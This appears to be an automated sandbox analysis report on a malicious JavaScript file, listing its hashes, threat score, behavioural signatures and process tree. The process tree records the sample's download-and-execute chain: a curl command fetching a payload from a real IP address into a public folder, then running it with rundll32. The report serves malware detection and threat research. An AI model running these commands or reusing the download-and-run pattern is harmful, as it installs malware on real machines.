Analysis

  • max time kernel
    105s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-06-2023 15:24

General

  • Target

    document_DB798_Jun_15_2.js

  • Size

    5KB

  • MD5

    ccbcf7f0c1a6cf533bea8c541cec65c8

  • SHA1

    66508c03201f46e065e78e6cbe01e5715e4f764c

  • SHA256

    d892f064fd53f65d347124c052e58a7c6f317f759a52d4da23aa8a141cd55890

  • SHA512

    e0655d0b9b9b804adb81cf7a27b3f5cd74b6fb84d402a52ed9279cfe88f7ecbe560c0b2d01ed5a98ba87fa780b8c547e5785f3a47300ad42ed8ac4224bd60385

  • SSDEEP

    96:EVUHZFSYQYGZjTqH8v/2TuFxD78H8v/2TTxDe7MDsyEBD3MTQyeyZqg1WuTQyv3Q:WB/8o/8iB8ZG

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\document_DB798_Jun_15_2.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1760
    • C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -o c:\users\public\tangier.tmp http://158.255.213.54/vMCtB/AD057
      2⤵
        PID:3992
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" rundll32.exe c:\users\public\tangier.tmp,must
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4072
        • C:\Windows\System32\rundll32.exe
          rundll32.exe c:\users\public\tangier.tmp,must
          3⤵
            PID:3704

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads